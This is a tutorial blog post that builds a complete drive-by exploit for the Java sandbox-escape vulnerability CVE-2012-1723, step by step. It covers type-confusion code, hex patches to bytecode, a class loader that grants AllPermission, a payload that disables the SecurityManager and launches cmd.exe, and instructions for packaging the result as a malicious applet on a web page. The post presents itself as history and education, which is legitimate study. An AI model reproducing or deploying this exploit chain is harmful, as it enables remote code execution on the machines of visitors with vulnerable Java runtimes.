In this guide we will observe one of Java's most dangerous vulnerabilities, CVE-2012-1723. We will analyze the conditions of the vulnerability and work through an example of practical exploitation through a drive-by attack.
About the Vulnerability
This vulnerability was identified in early 2012 before being widely exploited via the Blackhole Exploit Kit in July. Java 7u4 and earlier, Java 6u32 and earlier, Java 5u35 and earlier, and Java 1.4.2_37 and earlier are all vulnerable to this exploit. The exploit allows for sandbox escape and remote code execution on any target with a vulnerable JRE. I'm choosing CVE-2012-1723 for my first installment of this "Practice the Past" series because its a personal favorite of mine. While it is widely patched and has been acknowledged for almost 5 years, developing an exploit for this vulnerability touches on a wide array of invaluable topics. We will explore some of the inner workings of the JVM and package it all together in one of cyber-history's most lethal attack vectors.
How it Works
CVE-2012-1723 is a field access vulnerability that can lead to type confusion. When a pointer to an object of Type A exists in memory it is very important for security that this object is always of Type A. In order to enforce this, programming languages deploy type safety. In Java, types are recorded by associating a class tag with each object in memory. Static type verification is static analysis that occurs before code is run by working through the control flow. Dynamic type verification occurs during runtime and is inherently inefficient. Java relies almost entirely on complex static type safety and it analyses control flow when classes and methods are loaded by HotSpot.
Static type safety saves us time but if it fails then type confusion can occur. As we will soon see, an attacker can benefit greatly from changing the type of an object in memory. In our implementation of this exploit we are going to take advantage of type confusing a ClassLoader object!
So how does CVE-2012-1723 give us type confusion? Well, HotSpot has a variety of optimizations and caching procedures for JIT compilation. One of these involved multiple references to the same field in a single method. Upon investigating a GETSTATIC, PUTSTATIC, GETFIELD, or PUTFIELD instruction, HotSpot will verify the type and cache it. If there is a second field access instruction referring to the same field, its verification is pulled from cache and this particular instruction goes unchecked. We will be using the specific combination of GETSTATIC and PUTFIELD to type confuse a static object.
Step 1: Forcing JIT Compilation
We want to make sure the method that exploits the vulnerability is JIT compiled right before it executes. This way, HotSpot will perform the caching that was described. To do this, we are going to include a condition at the very beginning of the method that will potentially skip the rest of the method, with the exploit occurring immediately after the initial break. By calling the method many times in a way that satisfies the "skip" condition, we force the method to be JIT compiled when we eventually break past the condition. Since we are type confusing a ClassLoader, lets make the method take a ClassLoader instance and return an EvilClassLoader instance. We will avoid the vulnerability until the argument is not null.
public class Confuser { public EvilClassLoader confuse(ClassLoader passedCL) { if (passedCL == null) return null; // Insert Vulnerability } }
Next up we want to cause the confusion from our main class. Since this will be a drive-by attack, let's make the main class an Applet and confuse the compiler from the start() method.
public class DriveBy extends Applet { static EvilClassLoader appletCL; @Override public void start() { try { Confuser confuser = new Confuser(); for (int i = 0; i < 100000; i++) confuser.confuse(null); Thread.sleep(1000); appletCL = confuser.confuse(getClass().getClassLoader()); EvilClassLoader.escapeSandbox(); } catch (Exception e) { } } }
We have now succesfully forced the confuse method to be JIT compiled when we assign it to appletCL. The EvilClassLoader class will be written soon, but first lets get low-level and look at the heart of the vulnerability!
Step 2: Implement Type Confusion
To begin, lets add a static ClassLoader reference to our Confuser class. Since the static reference has to be legitimately verified once, lets call it with an assignment to a local variable in our confuse method.
public class Confuser { private static ClassLoader confuserCL; public EvilClassLoader confuse(ClassLoader passedCL) { if (passedCL == null) return null; ClassLoader localCL = confuserCL; } }
The local assignment gives us the GETSTATIC instruction, but to complete the vulnerability we need a PUTFIELD instruction too. But PUTFIELD is for instance data, so we can't just write this line in Java and compile it. Instead we are going to have to write a partially correct line that will compile and go in afterward to change the bytecode. So, as a placeholder we add the line:
this.confuserCL = passedCL;
Since confuserCL is static, referencing it from "this" looks peculiar. We do this because it will successfully compile, and adds an instruction to the bytecode that we will need later. As it stands, this method will generate the following bytecode:
0: aload_1 1: ifnonnull 6 4: aconst_null 5: areturn 6: getstatic #2 // Field confuserCL:Ljava/lang/ClassLoader; 9: astore_2 10: aload_0 11: pop 12: aload_1 13: putstatic #2 // Field confuserCL:Ljava/lang/ClassLoader;
The first 6 bytes (0-5) are the skip condition, where ALOAD_1 pushes the method's argument onto the stack to be checked for null equivalence. Bytes 6-9 use GETSTATIC to assign our static ClassLoader to a local variable (ASTORE_2). After that are the two bytes generated by our unnecessary call to "this". The compiler loads "this" onto the stack with ALOAD_0 (an objects instance is often, but not always, the very first variable on the method's heap) and then just pops it off as it was not needed. Then the last two bytes load the method's argument onto the stack and put it into our static variable.
So, we have a GETSTATIC that gets verified and a PUTSTATIC that goes unchecked. We want to change that PUTSTATIC into a PUTFIELD. But before we manipulate the bytecode, lets talk about what that implies. In the versions of Java aflicted with this vulnerability, static variables and instance variables are NOT stored in the same heaps of memory. In fact, static fields stay in the chunk of memory that the class and method is loaded into (called permanent generation), while instance fields go where their object goes (the young generation). This is efficient because objects share method code and static variables (hence the permanent generation is loaded once), and only their instance data is unique to their existence (which is loaded per instance). So if we send our ClassLoader object into the instance field, we have to be sure that the offset we pass it (which is the static field's offset) is valid. Luckily enough, the offsets for static variables in the permanent generation start higher than the offsets of the instance variables due to there being more metadata about the class than each object. So, by changing our PUTSTATIC instruction to PUTFIELD we can be sure that our ClassLoader will land on a valid offset assuming we make the instance memory large enough.
To do this we must pad our object with a bunch of EvilClassLoader fields. In this example we will only need ~30, but depending on the complexity of the object executing the exploit, it will be greater. And since our ClassLoader will be type confused into one of these fields, we want our method to return whatever field it landed in.
public class Confuser { private static ClassLoader confuserCL; public EvilClassLoader e00, e01, e02, e03, e04, e05, e06, e07, e08, e09; public EvilClassLoader e10, e11, e12, e13, e14, e15, e16, e17, e18, e19; public EvilClassLoader e20, e21, e22, e23, e24, e25, e26, e27, e28, e29; public EvilClassLoader confuse(ClassLoader passedCL) { if (passedCL == null) return null; ClassLoader localCL = confuserCL; this.confuserCL = passedCL; if (this.e00 != null) return this.e00; if (this.e01 != null) return this.e01; if (this.e02 != null) return this.e02; if (this.e03 != null) return this.e03; if (this.e04 != null) return this.e04; if (this.e05 != null) return this.e05; if (this.e06 != null) return this.e06; if (this.e07 != null) return this.e07; if (this.e08 != null) return this.e08; if (this.e09 != null) return this.e09; if (this.e10 != null) return this.e10; if (this.e11 != null) return this.e11; if (this.e12 != null) return this.e12; if (this.e13 != null) return this.e13; if (this.e14 != null) return this.e14; if (this.e15 != null) return this.e15; if (this.e16 != null) return this.e16; if (this.e17 != null) return this.e17; if (this.e18 != null) return this.e18; if (this.e19 != null) return this.e19; if (this.e20 != null) return this.e20; if (this.e21 != null) return this.e21; if (this.e22 != null) return this.e22; if (this.e23 != null) return this.e23; if (this.e24 != null) return this.e24; if (this.e25 != null) return this.e25; if (this.e26 != null) return this.e26; if (this.e27 != null) return this.e27; if (this.e28 != null) return this.e28; if (this.e29 != null) return this.e29; return null; } }
So now, all we have to do is change the bytecode. Lets compile the class
javac Confuser.java
and inspect it with javap.
javap -v Confuser.class
When you scroll up to the confuse method, you will see the instructions we discussed earlier. Now lets open up the class file in a hex editor. Since we are interested in the PUTSTATIC instruction, lets search for the surrounding series of instructions ALOAD_0, POP, ALOAD_1, and PUTSTATIC. This translates to 2A572BB3 (https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings). We want to change the B3 to B5 (PUTFIELD) and the 57 to 00 (POP to NOP). The reason for changing the POP is because we actually need the object instance (which was loaded by ALOAD_0) on the stack in order to properly call PUTFIELD. The useless reference to "this" earlier has conveniently put the instruction in place.
After saving, the confuser class is complete! It will reliably exploit CVE-2012-1723 and type swap a ClassLoader into an EvilClassLoader.
Step 3: Escalating our Privilege
Now we need to implement an EvilClassLoader class that extends ClassLoader and contains a static method to break out of our JVM sandbox. Since Classloaders are responsible for assigning permissions when they load classes, let's use ours to manually load a Payload class with all permissions! We will do this by mimicking the usual process but including our own certificates and permissions.
import java.io.InputStream; import java.security.AllPermission; import java.security.CodeSource; import java.security.Permissions; import java.security.ProtectionDomain; import java.security.cert.Certificate; public class EvilClassLoader extends ClassLoader { public static void escapeSandbox() throws Exception { InputStream in = DriveBy.appletCL.getResourceAsStream("Payload.class"); int classSize = in.available(); byte[] classBytes = new byte[classSize]; in.read(classBytes); Certificate[] certs = new Certificate[0]; CodeSource source = new CodeSource(null, certs); Permissions permissions = new Permissions(); // The Holy Grail of JVM exploitation! permissions.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(source, permissions); Class payloadClass = DriveBy.appletCL.defineClass("Payload", classBytes, 0, classBytes.length, protectionDomain); Payload payload = (Payload) payloadClass.newInstance(); } }
Step 4: Design a Payload
The best way that I've found to design a payload for privileged classes is by implementing a PrivilegedExceptionAction and nuking the JVM SecurityManager immediately. For this example we'll just open up a command prompt as proof of concept.
import java.security.AccessController; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; public class Payload implements PrivilegedExceptionAction { public Payload() { try { AccessController.doPrivileged(this); } catch (PrivilegedActionException e) { e.printStackTrace(); } } @Override public Object run() throws Exception { System.setSecurityManager(null); Runtime.getRuntime().exec("cmd.exe /c start"); return null; } }
Step 5: Package the Applet for a Drive-By
So, now its time to compile our code. Make sure you don't overwrite your modified Confuser class!
javac DriveBy.java Payload.java EvilClassLoader.java
For a drive-by, we don't have to specify a manifest, so we can just package the jar without one.
jar cvf exploit.jar *.class
Finally, we just need to insert our applet in a webpage.
<applet code="DriveBy.class" archive="exploit.jar">
Success! I sincerely hope you've enjoyed this first installment of Practice the Past!
Project Code: https://github.com/EthanNJC/CVE-2012-1723